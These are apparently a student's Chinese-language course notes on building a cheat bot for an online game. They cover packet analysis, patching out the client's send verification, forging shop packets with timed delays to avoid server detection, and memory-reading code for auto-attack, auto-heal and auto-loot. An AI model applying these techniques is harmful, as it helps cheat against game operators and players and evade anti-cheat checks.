006252D5 |. 8BD1 MOV EDX,ECX
006252D7 |. C1E9 02 SHR ECX,2
006252DA |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
006252DC |. 8BCA MOV ECX,EDX
006252DE |. 83E1 03 AND ECX,3
006252E1 |. F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
006252E3 |. 8D4D 08 LEA ECX,DWORD PTR SS:[EBP+8]
006252E6 |. 8D70 03 LEA ESI,DWORD PTR DS:[EAX+3]
006252E9 |. E8 82910300 CALL Client.0065E470
006252EE |> 8B0D F8D75801 MOV ECX,DWORD PTR DS:[158D7F8] ; Default case of switch 00625197
006252F4 |. 66:89B5 70D7F>MOV WORD PTR SS:[EBP-2890],SI
006252FB |. 83C6 06 ADD ESI,6 ; 0D
006252FE |. 8D85 6CD7FFFF LEA EAX,DWORD PTR SS:[EBP-2894]
00625304 |. 56 PUSH ESI ; 封包 大小 字节数 0x11
00625305 |. 50 PUSH EAX
00625306 |. E8 957FE1FF CALL Client.0043D2A0 ; 鼠标开店 请求
0062530B |. C605 D03F8204>MOV BYTE PTR DS:[4823FD0],1
00625312 |> 8B4D F4 MOV ECX,DWORD PTR SS:[EBP-C]
00625315 |. 5F POP EDI
00625316 |. 5E POP ESI
00625317 |. 64:890D 00000>MOV DWORD PTR FS:[0],ECX
0062531E |. 8BE5 MOV ESP,EBP
00625320 |. 5D POP EBP
00625321 . C3 RETN
////////////////////////////////////////////////////////
今天要找的是开店的封包,我们下断之后发现马上断下,发现游戏中有关于发包的验证,修改代码跳过验证,这样再发送开店封包的时候就找到了正确的发送处,返回上一级CALL进行分析.开店可以通过快捷键,还可以点击开店动作,我们这里用鼠标进行开店.经过分析发现了开店名字的封包数据.再试验一下关闭店铺的封包,发现这两组数据基本一样,经过分析,发现第7个代码就是开店和关店的命令.正在分析的时候游戏自动关闭了,可能是我们修改了发包验证造成的.分析一下第5个和第6个代码,是与封包长度有关的,开店的时候要加入店名,关闭的时候则没有店名.再将开店物品看一下,确定了出售物品的价格/类型.
打开VC,在PAGE2中添加”申请开店”按钮,确定新建类,再将头文件修改一下,然后在PAGE2.CPP中添加代码(在教案中).在编写代码过程中发现了有关全局变量的问题,将整个全局变量定义到WGForm.cpp中,再复制到GameProc.h中,又发现了F1-F10的错误……可以运行了
又看到封包中两次08和06的值,这个经过分析是店名的长度.然后又写好郁金香的店名,测试一下,恰好”郁金香”的店铺已经开启了.
随笔:老师的教案做的真详细啊,我也只好写一下课程的过程了.
3.7.2 开店封包(挂店物品分析)
a、分析封包
b、出售物品的封包格式分析
c、封包数据来源
d、写代码测试
背包数组 dd [[482204C]+4*4+3d8]+0x4c
//金创药小 单价88888两 出售数量7个 在背包里位置是1
00127C24 00 00 CB 00 51 00 02 65 CA 9A 3B A0 9C 23 88 2B ..?Q._e蕷;牅#?
00127C34 0A D9 18 07 00 01 00 38 90 0D 00 00 00 00 00 00 .? ._.8?......
00127C44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
//第四格 回城符
$ ==> >00 00 CB 00 51 00 02 6E CA 9A 3B AB FB 25 B0 1D ..?Q._n蕷;�%?
$+10 >EC 58 18 03 00 04 00 67 2B 00 00 00 00 00 00 00 靀__._.g+.......
$+20 >00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
$+30 >00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
$+40 >00
2729AC64 6E CA 9A 3B AB FB 25 B0 1D EC 58 18 n蕷;�%?靀_回城
.
//背包第1格
$ ==> >68 A6 84 00 00 00 00 00 1A 00 00 00 EA 0D 00 00 h�....._...?..
$+10 >0E 00 00 00 FF FF FF FF 00 00 00 00 01 00 00 00 _......._...
$+20 >00 00 00 00 00 00 00 00 52 00 00 00 FF 00 00 00 ........R......
$+30 >20 00 00 00 20 00 00 00 78 6B 44 0E 7C 6B 44 0E ... ...xkD_|kD_
$+40 >00 00 00 00 00 00 00 00 00 00 00 00 65 CA 9A 3B ............e蕷;
$+50 >A0 9C 23 88 2B 0A D9 18 BD F0 B4 B4 D2 A9 28 D0 牅#?.?金创药(_
$+60 >A1 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?..............
蓝色的 封包+0x7=背包+0x4C // 12字节 物品分类编号 服务器
紫色的 0x13= //word 出售物品数量
绿色的 0x15= //byte 表示物品在背包里边的下标(格数)0-35
灰色 0x17=//dword 单价
byte addsellData[0x52]={00,00,0xCB,0x00,0x51,0x00,0x02,0};
strcpy((char*)&addsellData[7],goodsBase_4C);//复制长度为7
void CPAGE2::OnButton()
{
// TODO: Add your control notification handler code here
//蓝色的 封包+0x7=背包+0x4C // 12字节 物品分类编号 服务器
//紫色的 0x13= //word 出售物品数量
//绿色的 0x15= //byte 表示物品在背包里边的下标(格数)0-35
//灰色 0x17=//dword 单价
int goodsBase1_4C,goodsBase3_4C; //[[482204C]+0*4+3d8]+0x4c
_asm
{
mov ecx,GoodsBase
mov ecx,[ecx]
add ecx,0
add ecx,0x3d8
mov ecx,[ecx]
add ecx,0x4c
mov goodsBase1_4C,ecx //第1格物品
}
_asm
{
mov ecx,GoodsBase
mov ecx,[ecx]
add ecx,8 //第三格 下标2*4
add ecx,0x3d8
mov ecx,[ecx]
add ecx,0x4c
mov goodsBase3_4C,ecx //第1格物品
}
//
byte addsellData[0x52]={00,00,0xCB,0x00,0x51,0x00,0x02,0};//封包前几字节
memcpy((void*)&addsellData[7],(void*)goodsBase1_4C,12);//复制店名
addsellData[0x13]=7;//出售数量
addsellData[0x15]=0; //出售格数
addsellData[0x17]=0xFF;//下标格数
addsellData[0x18]=0xFF; //写入钱数
_asm
{
push 0x57
lea edx,addsellData
push edx
mov eax, SendDataCall
MOV ECX,0x158D7F8
mov ecx,[ecx]
call eax
}
//测试连续物品
Sleep(200);//设置间隔时间
memcpy((void*)&addsellData[7],(void*)goodsBase3_4C,12);
addsellData[0x13]=7;//数量
addsellData[0x15]=2; //出售格数
addsellData[0x17]=0xFF; //下标格数
addsellData[0x18]=0xFF; //65535
_asm
{
push 0x57
lea edx,addsellData
push edx
mov eax, SendDataCall
MOV ECX,0x158D7F8
mov ecx,[ecx]
call eax
}
// 确认开店
Sleep(200);
byte sellok[16]={ 00, 00, 0xCB, 00, 01, 00 ,03 };
_asm
{
push 0x10
lea edx,sellok
push edx
mov eax, SendDataCall
MOV ECX,0x158D7F8
mov ecx,[ecx]
call eax
}
}
//////////////////////////////////////////////
继续上节课的开店封包,再弄两个物品测试开店,当然首先还是要继续分析封名中的数据,包括物品的背包,数量,名字等 ,老师分析的相当的详细,笔记也不好记还是需要仔细看视频.封包的数据查找和分析我感觉比找基址难,因为数据相对多……
可以写代码了,前面7个字节是常量可以直接定义…在PAGE2中添加”出售1和3格物品进行测试
先测试一下出售第一格物品(代码在前面教案中),出错了,是有一个参数未写上…再测试一下可以了.如果是要添加多个物品应该怎么样呢?我们写一下代码来测试一下,确实好使了,这就是封包的特别,因为连续向服务器发送数据也接受了.再将确认开店功能也加进去,已经可以将1格3格及自动确认了,为了避免时间太快被服务器检测到,确实可以用SEELP函数了.而平时直接调用CALL则是游戏自己调用的不必用间隔函数了.
小结:进阶篇的学完了,突出的内容当然是封包教程,发送封包给我的感觉跟调用CALL有很多类似的地方,但却又不完全相同,封包也是通过调用CALL,但在调用CALL之前的参数很多,而真正调用的CALL就比较少;普通的调用CALL应该是在被断下后返回多次,至少比封包的要多,在游戏的内层,封包相对在外层.那么到底是封包方便还是直接CALL方便呢?这就要看游戏的更新程度了,如果总不更新而且调用CALL也简单那就直接CALL,如果更新很多,可能封包更方便一些,因为有的时候游戏更新了封包中的数据也不一定全更新,我是这样理解的不知道对不对.
4.0.1、窗口界面整理
a、常规选项卡
b、保护选项卡
c、捡物选项卡
d、喊话选项卡
257*142
//定义窗口大小
RECT r1;
GetDlgItem(IDC_TABMAIN)->GetClientRect(&r1); //获取 TAB选项卡 窗口矩形区域
r1.top=28;
r1.bottom-=2;
r1.right-=2;
///////////////////////////////////////////////////////////
窗口界面是需要调整的,本节课就是要调整的好看一些,新写了一个程序模拟原程序在此进行界面调整.先进行一下窗口的调整,看右下角的窗口大小值,去掉原来的窗口设置代码,PAGE1的选项卡以前是调整好的,现在获取过来,做测试用的按钮已经不需要了,但是也不能删除因为关联到变量,所以就放在窗口外面隐藏起来.
主界面调整差不多了,再在各个选项卡中添加几个控件,然后在下面添加”开启挂机”和”关闭挂机”按钮.
void CWGForm::OnBUTTONusegoods()
{
// TODO: Add your control notification handler code here
}
BOOL CWGForm::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
m_tabmain.InsertItem(1,"常规");
m_tabmain.InsertItem(2,"保护");
m_tabmain.InsertItem(3,"捡物");
m_tabmain.InsertItem(4,"喊话");
m_tabmain.InsertItem(5,"辅助");
//创建页面窗口
page1.Create(IDD_PAG1,GetDlgItem(IDC_TABMAIN));
page2.Create(IDD_PAG2,GetDlgItem(IDC_TABMAIN));
page3.Create(IDD_PAG3,GetDlgItem(IDC_TABMAIN));
page4.Create(IDD_PAG4,GetDlgItem(IDC_TABMAIN));
page5.Create(IDD_PAG5,GetDlgItem(IDC_TABMAIN));
//设置父窗口
page1.SetParent(GetDlgItem(IDC_TABMAIN));
page2.SetParent(GetDlgItem(IDC_TABMAIN));
page3.SetParent(GetDlgItem(IDC_TABMAIN));
page4.SetParent(GetDlgItem(IDC_TABMAIN));
page5.SetParent(GetDlgItem(IDC_TABMAIN));
//定义窗口大小
RECT r1;
GetDlgItem(IDC_TABMAIN)->GetClientRect(&r1);
r1.top=28;
r1.bottom-=2;
r1.right-=2;
//设置窗口位置
page1.MoveWindow(&r1);
page2.MoveWindow(&r1);
page3.MoveWindow(&r1);
page4.MoveWindow(&r1);
page5.MoveWindow(&r1);
//默认 page1
page1.ShowWindow(true);
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
void CWGForm::OnSelchangeTabmain(NMHDR* pNMHDR, LRESULT* pResult)
{
// TODO: Add your control notification handler code here
switch(m_tabmain.GetCurSel())
{
case 0:
{
page1.ShowWindow(true);//显示
page2.ShowWindow(false);
page3.ShowWindow(false);
page4.ShowWindow(false);
page5.ShowWindow(false);
break;
}
case 1:
{
page1.ShowWindow(false);
page2.ShowWindow(true);//显示
page3.ShowWindow(false);
page4.ShowWindow(false);
page5.ShowWindow(false);
break;
}
case 2:
{
page1.ShowWindow(false);
page2.ShowWindow(false);
page3.ShowWindow(true);//显示
page4.ShowWindow(false);
page5.ShowWindow(false);
break;
}
case 3:
{
page1.ShowWindow(false);
page2.ShowWindow(false);
page3.ShowWindow(false);
page4.ShowWindow(true);//显示
page5.ShowWindow(false);
break;
}
case 4:
{
page1.ShowWindow(false);
page2.ShowWindow(false);
page3.ShowWindow(false);
page4.ShowWindow(false);
page5.ShowWindow(true);//显示
break;
}
default:
{
break;
}
}
*pResult = 0;
}
最终界面如下:
4.0.2、常规选项卡-自动打怪函数构建
a、关联变量
b、选怪函数优化
c、共享变量 extern
d、算法设计
e、功能测试
//更新基址如下
//////////常量定义区域////////////////////
const int CurRoleBase = 0x5C5AC28 ; //当前角色基址
const int CurListBase = 0x5C54CE8 ; //所有对象列表基址
const int SendDataCall = 0x0043D2A0; //发包CALL
const int BeatMonCall = 0x00460490; //普攻打怪CALL
const int PickGoodsCall = 0x00460690; //捡物动作CALL
const int F1_F10Call = 0x005EF190; //F1_F10技能栏CALL
const int F1_F10ECX = 0x15AFE60 ; //F1_F10技能栏ECX
const int GoodsBase = 0x482204C ; //物品背包数组基址
const int UseGoodsCallBase = 0x005844E0; //物品使用CALL 基址
--------------------------------关联变量------------------------------------------
IDC_CHECK_AUTOBEATMON m_ck_bAutoBeatMon//BOOL
IDC_CHECK_AUTOSELMON m_ck_bAutoSelMon //BOOL
IDC_CHECK_LIMITAREA m_ck_bLimitArea //BOOL
IDC_COMBO_SKILL_LIST m_combo_Skill_List //CComboBox
IDC_EDIT_AREA m_edt_fAreaLimit //float
---------------------------------------------------------------------------------
void SelMon(float area,BOOL LimitFlag) //选怪功能
{// TODO: Add your control notification handler code here
//遍历 [i*4+CurListBase] 数组
//+8 :有可能是对象分类 怪是2E
//+C :数组下标
//+31C:到当前玩家距离
//+380:怪死亡 <>0
int* b8,*bc,*b380,*b60c,*p1530;
float *b31c;
int* pb,*p2;
for (int i=CurListBase;i<(CurListBase+0x0FFF*4);i+=4)//每次增加4字节
{ pb=(int*)i;
b8=(int*)(*pb+0x8);
bc=(int*)(*pb+0xc);
b31c=(float*)(*pb+0x31c);
b380=(int*)(*pb+0x380);
b60c=(int*)(*pb+0x60C);
//if (([ecx+8]==0x2E )&&([ecx++0x31C]<=100)&&([ecx+380]==0))
p1530=(int*)CurRoleBase;
p1530=(int*)(*p1530+0x1530);
bool ft;
if (LimitFlag) {ft=*b31c<=area;} else {ft=true;} //范围限制
if ((*b8==0x2E )&&ft&&(*b380==0)) //b31c 怪与人物距离判断
{
//区分NPC ,如果是NPC 则继续 遍历下一个 60C<>0表示是怪物 //+60C是怪物等级>3
if (*b60c==0){continue;}
//选怪[[CurRoleBase]+1530 ]=*bc;优化改进 显示怪血条
p2=pb;
//显示血条,设置怪选中状态
//selmonbase怪对象基址
int selmonbase=*p2;
if (*p1530==0xFFFF) {
_asm
{
mov edi,selmonbase
mov eax,[edi]
push 0
push 1
push 0x44c
mov ecx,edi
mov eax,[eax+4]
call eax
}
p1530=(int*)CurRoleBase;
p1530=(int*)(*p1530+0x1530);
*p1530=*bc;//写入下标
return ;
} //end if
} // end if
}//end for
}
-------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------
VOID CALLBACK AutoBeatMon_Callback(
HWND hwnd, // handle of window for timer messages
UINT uMsg, // WM_TIMER message
UINT idEvent, // timer identifier
DWORD dwTime // current system time
)
{
switch(page1.m_combo_skill_list.GetCurSel())
{
case 0: { BeatMon();break;}
}
F1_F10(page1.m_combo_skill_list.GetCurSel());
}
VOID CALLBACK AutoSelMon_Callback(
HWND hwnd, // handle of window for timer messages
UINT uMsg, // WM_TIMER message
UINT idEvent, // timer identifier
DWORD dwTime // current system time
)
{
SelMon(page1.m_edt_fAreaLimit,page1.m_ck_bLimitArea);
}
////////////////////////////////////////////////////////////////////
将上节课中的空界面添加控制代码,自动选怪/自动打怪/挂机范围/技能选择/开始挂机等功能,
还有需要建立新的类/加入相应的头文件,继续关联变量,将技能选择里添加功能键,再设置默认的功能键和复选框的选中:
CPAGE1::CPAGE1(CWnd* pParent /*=NULL*/)
: CDialog(CPAGE1::IDD, pParent)
{
//{{AFX_DATA_INIT(CPAGE1)
m_fr = 0.0f;
m_goodname = _T("");
m_ck_bAutoBeatMon = TRUE; //默认选中
m_ck_bAutoSelMon = TRUE; //默认选中
m_ck_bLimitArea = TRUE;//默认选中
m_edt_fAreaLimit = 110.0f;//范围110
//}}AFX_DATA_INIT
}
//设置开始挂机的代码
void CWGForm::OnButtonBegin()
{
// TODO: Add your control notification handler code here
// ------------------Page1-------------------
// --------------------------------------------
page1.UpdateData(true); //窗口数据 更新变量
if (page1.m_ck_bAutoSelMon)
{
//开启自动选怪
page1.SetTimer(Timer_AutoSelMon_ID,500,AutoSelMon_Callback);
}else
{
//关掉自动选怪
page1.KillTimer(Timer_AutoSelMon_ID);
}
// --------------------------------------------------
page1.UpdateData(true); //窗口数据 更新变量
if (page1.m_ck_bAutoSelMon)
{
//开启自动打怪
page1.SetTimer(Timer_AutoBeatMon_ID,500,AutoBeatMon_Callback);
}else
{
//关掉自动打怪
page1.KillTimer(Timer_AutoBeatMon_ID);
}
}
将时间函数统一设置在GameProc.h里,注意标识号不要重复.
在各个时间函数中添加更新命令:UpdateData(True);
自动打怪/自动选怪还需要设置一下和声明
void CPAGE1::OnCheckAutoselmon()
{
// TODO: Add your control notification handler code here
UpdateData(true);
if (m_ck_bAutoSelMon)
{
//开启自动选怪
SetTimer(Timer_AutoSelMon_ID,500,AutoSelMon_Callback);
}else
{
//关掉自动选怪
KillTimer(Timer_AutoSelMon_ID);
}
}
void CPAGE1::OnCheckAutobeatmon()
{
UpdateData(true); //窗口数据 更新变量
if (m_ck_bAutoBeatMon)
{
//开启自动打怪
SetTimer(Timer_AutoBeatMon_ID,500,AutoBeatMon_Callback);
}else
{
//关掉自动打怪
KillTimer(Timer_AutoBeatMon_ID);
}
}
设置一下挂机范围,如果选小了确实不打怪了.然后是停止挂机功能,是将所有的时间控制函数全关掉:
void CWGForm::OnButtonStop()
{
// TODO: Add your control notification handler code here
// page1 timer
page1.KillTimer(Timer_AutoBeatMon_ID);//停止自动打怪
page1.KillTimer(Timer_AutoSelMon_ID); //停止自动选怪
}
本节课和上节课都属于VC基础课,对于我这样基础不好的人真是需要仔细的学习,一直以来我都感觉VC的控件不如DELPHI的好用,现在来看VC的控件虽然麻烦,但是却更加灵活,可以编辑出更加个性化的界面.
4.0.3、保护选项卡-自动补红补蓝函数构建
a、402中的BUG修整
b、算法设计
c、编写代码
d、功能测试
//修改BUG IDC_EDIT_AREA 为对应控件 资源ID
CString s;
((CEdit*)GetDlgItem(IDC_EDIT_AREA))->GetWindowText(s);
if (s.IsEmpty()) //如果 编辑框 为空了
{
this->m_edt_fAreaLimit=0; //防止 “请输入一个数”出现
UpdateData(false); //更新0字符到窗口
((CEdit*)GetDlgItem(IDC_EDIT_AREA))->SetSel(0,1);
}
UpdateData(true);
//////////常量定义区域////////////////////
--------------------------------关联变量------------------------------------------
//为CEdit控件 设置Number属性
IDC_EDIT_HP1 m_edt_iHp1 //int
IDC_EDIT_HP2 m_edt_iHp2 //int
IDC_EDIT_MP1 m_edt_iMp1 //int
IDC_EDIT_MP2 m_edt_iMp2 //int
//去掉所有ComboBox的Sort属性
IDC_COMBO_HP1 m_combo_Hp1_List //CComboBox
IDC_COMBO_HP2 m_combo_Hp2_List //CComboBox
IDC_COMBO_MP1 m_combo_Mp1_List //CComboBox
IDC_COMBO_MP2 m_combo_Mp2_List //CComboBox
IDC_CHECK_SAFE m_chk_bSafe //BOOL 添加一个CheckBox
---------------------------------------------------------------------------------
//参考2.1.3角色属性
基址 0x4820160
+0: 当前血值
+4: 当前魔力值
+8: 持久力
+C: 血值上限
+10:魔力值上限
+14:持久力上限 1000
+1C:善恶度
+18:当前经验值
+20:升级到下一级所需经验值
+24: 灵兽 持有数量 上限2
+2C:历练值
+30:心
+34:力
+38:体
+3C:身
在Gameproc.h 中添加
const int CurHpBase=0x4820160;
在WGForm.cpp中添加函数
int GetCurHpValue()//返回当前血值
{
int* pi;
pi=(int*)(CurHpBase+0);
return *pi;
}
int GetCurMpValue()//返回当前魔力值
{
int* pi;
pi=(int*)(CurHpBase+4);
return *pi;
}
int GetCurHpMaxValue()//返回当前血值上限
{
int* pi;
pi=(int*)(CurHpBase+0xC);
return *pi;
}
int GetCurMpMaxValue() //返回当前魔力值上限
{
int* pi;
pi=(int*)(CurHpBase+0x10);
return *pi;
}
在Gameproc.h中添加外部函数申明
extern int GetCurHpValue();//返回当前血值
extern int GetCurMpValue();//返回当前魔力值
extern int GetCurHpMaxValue();//返回当前血值上限
extern int GetCurMpMaxValue(); //返回当前魔力值上限
在usegoods中添加一行
void UseGoods(const int index)
{if (index==-1 ) {return;} //退出
//写 低血低魔 定时器回调函数
void CALLBACK AutoCheckSafe_CallBack
(HWND h,UINT uMsg,UINT IdEvent,DWORD dwtime)
{
//检测血值 < edt1_hp
if (GetCurHpValue()<page2.m_edt_iHp1)
{
CString sels;
int i=page2.m_combo_Hp1_List.GetCurSel();
page2.m_combo_Hp1_List.GetLBText(i,sels);
UseGoods(GetGoodsIndex(sels.GetBuffer(10)));
}
if (GetCurHpValue()<page2.m_edt_iHp2)
{ CString sels;
int i=page2.m_combo_Hp2_List.GetCurSel(); //取出ComboBox选中的索引值
page2.m_combo_Hp2_List.GetLBText(i,sels); //取出ComboBox当前选中字符串
UseGoods(GetGoodsIndex(sels.GetBuffer(10))); // 参考2.5.4 、使用指定物品 UseGoods(int index=0);
}
//检测魔力值
if (GetCurMpValue()<page2.m_edt_iMp1)
{
CString sels;
int i=page2.m_combo_Mp1_List.GetCurSel();
page2.m_combo_Mp1_List.GetLBText(i,sels);
UseGoods(GetGoodsIndex(sels.GetBuffer(10)));
}
if (GetCurMpValue()<page2.m_edt_iMp2)
{ CString sels;
int i=page2.m_combo_Mp2_List.GetCurSel();
page2.m_combo_Mp2_List.GetLBText(i,sels);
UseGoods(GetGoodsIndex(sels.GetBuffer(10)));
}
}
//为消息 WM_INITDIALOG 关联虚函数
BOOL CPAGE2::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
在Gameproc.h里添加一行
//低血低魔保护
extern void CALLBACK AutoCheckSafe_CallBack(HWND h,UINT uMsg,UINT IdEvent,DWORD dwtime);
/////////////////////////////////////////////////////////////////////////////
继续上节课,先修改一下上节课的BUG,如果编辑框中为空则默认为0的值.将红蓝设置好,再关联变量.再加入Check复选框,设置让血值纸于XX时给予提示(代码在教案中),设置好列表框,还要获取当前列表框内容.再加入定时器进行管理,再初始化这几个编辑框.
CPAGE2::CPAGE2(CWnd* pParent)
: CDialog(CPAGE2::IDD, pParent)
{
m_edt_iHp1 = 300;
m_edt_iHp2 = 150;
m_edt_iMp1 = 300;
m_edt_iMp2 = 150;
m_chk_bSafe = true;
//}}AFX_DATA_INIT
}
//设置默认选中项
void CPAGE2::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CPAGE2)
DDX_Control(pDX, IDC_COMBO_MP2, m_combo_Mp2_List);
DDX_Control(pDX, IDC_COMBO_MP1, m_combo_Mp1_List);
DDX_Control(pDX, IDC_COMBO_HP2, m_combo_Hp2_List);
DDX_Control(pDX, IDC_COMBO_HP1, m_combo_Hp1_List);
DDX_Text(pDX, IDC_EDIT_HP1, m_edt_iHp1);
DDX_Text(pDX, IDC_EDIT_HP2, m_edt_iHp2);
DDX_Text(pDX, IDC_EDIT_MP1, m_edt_iMp1);
DDX_Text(pDX, IDC_EDIT_MP2, m_edt_iMp2);
DDX_Check(pDX, IDC_CHECK_SAFE, m_chk_bSafe);
//}}AFX_DATA_MAP
}
再设置一下初始化…然后进行挂机测试,发现自动选怪不行,在自动选怪处加入变量更新,现在已经可以正常挂机了.
4.0.4、捡物选项卡-自动捡物函数构建
a、过滤垃圾物品-不捡垃圾列表里的物品
b、算法设计
c、编写代码
d、功能测试
#include "GameProc.h"
//1---------------控件关联变量-------------
IDC_CHECK_PICKGOODS m_chk_bAutoPickGoods //BOOL 自动捡物开关
IDC_CHECK_SIFT_TRASH m_chk_b_SiftTrash //BOOL 过滤垃圾物品开关
IDC_LIST_SIFT_TRASH m_list_trash //CCheckListBox
//2 添加一个文本框,2个按钮
IDC_EDIT_ADDCONTENT m_edt_cs_AddContent //CString
IDC_BUTTON_ADD
IDC_BUTTON_DELETE
//3 修改m_list_trash控件属性 选中 Fixed,Has String 去掉sort属性
// 打开page3.h文件
找到 CListBoxm_list_trash; 修改成 CCheckListBoxm_list_trash;
//4自动捡物定时器 回调函数
//在 gameproc.h 里添加定时器 ID 和回调函数说明
#define Timer_CHECKPICKID Timer_ID_BASE+6
extern void CALLBACK AutoCheckPick_CallBack(HWND h,UINT uMsg,UINT IdEvent,DWORD dwtime);
/* 参考3.4.3
dd i*4+CurListBase //物品属性
+8 //分类编号 33时表示物品
+C //在对象数组中的 下标值 (通用)
+64//与玩家距离
+90//名字*/
//写过滤物品 函数
void CPAGE3::OnButtonAdd()
{
// TODO: Add your control notification handler code here
UpdateData(true);
m_list_trash.AddString(m_edt_cs_AddContent);
UpdateData(false);
}
void CPAGE3::OnCheckPickgoods()//开启捡物功能
{
UpdateData(true);
if (m_chk_bAutoPickGoods)
{
SetTimer(Timer_CHECKPICKID,500,AutoCheckPick_CallBack);//开启自动捡物
}
else
{
KillTimer(Timer_CHECKPICKID); //关掉自动捡物
}
}
//过滤指定物品 函数
void Sift_Goods(char * GoodsName) //参考以前物 过滤捡物修改
{
//遍历物品列表
int* Goodsobj;//指向物品对象基址
int* obj_8;//分离编移 0x33才表示物品
char* obj_90; //物品名字
float* obj_64; //与玩家距离
char showstr[512],st[33];
for (int i=0;i<0x1Fff;i++)
{
Goodsobj=(int*)(CurListBase+i*4);//取得对象基址指针
if (*Goodsobj==0){break;} //遍历到对象数组 尾部
obj_8=(int*)(*Goodsobj+0x8);//指针指向分类编号
if (*obj_8==0x33/*判断是否为物品类*/)
{//如果是物品则执行下列操
obj_90=(char*)(*Goodsobj+0x90);//指针指向物品名字
obj_64=(float*)(*Goodsobj+0x64);//此指针指向与玩家的距离
//显示出来
memset(showstr,0,512);//清空内存
memcpy(showstr,obj_90,strlen(obj_90));
//strcat;字串+
strcat(showstr,",距离:");
//显示距离
//itoa((int)obj_64,st,10);//把距离 转成字串 存放到st
sprintf(st,"%f",*obj_64);
strcat(showstr,st);
//在列表控件里添加一行
if ( (strcmp(obj_90,GoodsName)==0))
{
*obj_8=0x88;
}
}
} //实行过滤
}
//////////////////////////////////////////////////////////////////////////
//////////遍历恢复物品属性
void ResumeGoodsList()
{
int* Goodsobj;//指向物品对象基址
int* obj_8;//分离编移 0x33才表示物品
for (int i=0x0;i<0x1Fff;i++)
{
Goodsobj=(int*)(CurListBase+i*4);//取得对象基址指针
if (*Goodsobj==0){return;} //遍历到对象数组 尾部
obj_8=(int*)(*Goodsobj+0x8);//指针指向分类编号
if (*obj_8==0x88/*判断是否为物品类*/)
{//如果是物品则执行下列操
*obj_8=0x33;
}
} //end for
}
void Sift_Trash() //过滤列表里的所有垃圾
{
CString GoodsNames;
for (int i=0;i<page3.m_list_trash.GetCount();i++)// 遍历垃圾物品列表
{
if (page3.m_list_trash.GetCheck(i)==1) //(打勾)选中的才过滤
{
page3.m_list_trash.GetText(i,GoodsNames);
Sift_Goods(GoodsNames.GetBuffer(10)); //过滤指定名物品+8=0x88
}
}
}
void CPAGE3::OnCheckSiftTrash()
{
// TODO: Add your control notification handler code here
UpdateData(true);
}
void CALLBACK AutoCheckPick_CallBack(HWND h,UINT uMsg,UINT IdEvent,DWORD dwtime)
{
//过滤物品(修改物品属性)
page3.UpdateData(true);
if (page3.m_chk_b_SiftTrash)
{
//过滤物品
Sift_Trash(); //过滤列表里的所有垃圾
}
PickGoods();
//恢复物品属性
ResumeGoodsList();
}
////////////////////////////////////////////////////////////////
继续前面的代码,丰富自动捡物功能,添加垃圾物品过滤功能,增加添加物品和删除物品按钮,再关联几个变量,将CcheckListBox的定义加入PAGE3.h头文件中.添加了一下物品没有显示出来,在ListBox中将Owner draw选到NO就可以了,再修改一下Owner draw改成Fixed再勾上Has strings将物品输入列表后会出现一个小复选框,这样添加列表的代码已经编写完了.再编写删除的代码:
void CPAGE3::OnButtonDelete()
{
//m_list_trash.GetCurSel();获取当前选则项
m_list_trash.DeleteString(m_list_trash.GetCurSel());
}
测试一下看效果,还要再将列表框中加入滚动条Horizontal scroll / Vertical scroll.
接下来到了开启自动功能了OnCheckPickgoods (代码在教案中)
再写好过滤物品函数void CALLBACK AutoCheckPick_CallBack (代码在教案中)
又将之前写好的代码进行了讲解
添加过滤垃圾物品的复选框内代码OnCheckSiftTrash(教案中)
修改代码中的错误,来测试一下,发现人参马上就可以捡起来了,而我们设置的垃圾物品就没有捡.
4.0.5、喊话选项卡-自动喊话设置
a、关联变量
b、喊话功能算法设计
c、编写代码
d、功能测试
IDC_CHECK_AUTOSPEAK //自动喊话CheckBox
IDC_EDIT_INTERVAL //时间间隔
IDC_BUTTON_ADD //添加
IDC_BUTTON_DELETE //删除
IDC_EDIT_ADDCONTENT //添加内容
IDC_LIST_SPEAK //喊话列表框
//列表框属性设置
Sort 去勾
Owner draw: Fixed
Has Strings:打勾
//关联变量
IDC_CHECK_AUTOSPEAK m_chk_autospeak//控件 自动喊话CheckBox
IDC_EDIT_INTERVAL m_iSpeakInterval//int 时间间隔
IDC_BUTTON_ADD //添加
IDC_BUTTON_DELETE //删除
IDC_EDIT_ADDCONTENT m_sAddContent//添加内容CString
IDC_LIST_SPEAK m_list_speak//喊话列表框Control
//找到Page4.h修改 m_list_speak;变量类型为CCheckListBox
//添加喊话内容代码
1、双击添加按钮 关联单击消息代码
// 添加喊话内容代码
UpdateData(true);//更新窗口字串内容至变量m_sAddContent
m_list_speak.AddString(m_sAddContent);//添加m_sAddContent内容至喊话列表框
2、双击自动喊话 复选框 关联单击消息代码
// 添加喊话内容代码
UpdateData(true);//更新窗口字串内容至变量m_chk_autospeak
3、双击时间间隔文本框 为EN_CHANGE消息 关联代码
UpdateData(true);//更新窗口字串内容至变量 m_iSpeakInterval
//修改IDC_EDIT_INTERVAL 文本框属性 勾选Number
//转到Page1选项卡 取得如下防止为空代码
CString s;
((CEdit*)GetDlgItem(IDC_EDIT_AREA))->GetWindowText(s);
if (s.IsEmpty()) //如果 编辑框 为空了
{
this->m_edt_fAreaLimit=0; //防止 “请输入一个数”出现
UpdateData(false); //更新0字符到窗口
((CEdit*)GetDlgItem(IDC_EDIT_AREA))->SetSel(0,1);
}
UpdateData(true);
//修改
CString s;
((CEdit*)GetDlgItem(IDC_EDIT_INTERVAL))->GetWindowText(s);
if (s.IsEmpty()) //如果 编辑框 为空了
{
this-> m_iSpeakInterval=0; //防止 “请输入一个数”出现
UpdateData(false); //更新0字符到窗口
((CEdit*)GetDlgItem(IDC_EDIT_INTERVAL))->SetSel(0,1);
}
UpdateData(true);
//写喊话定时器回函数
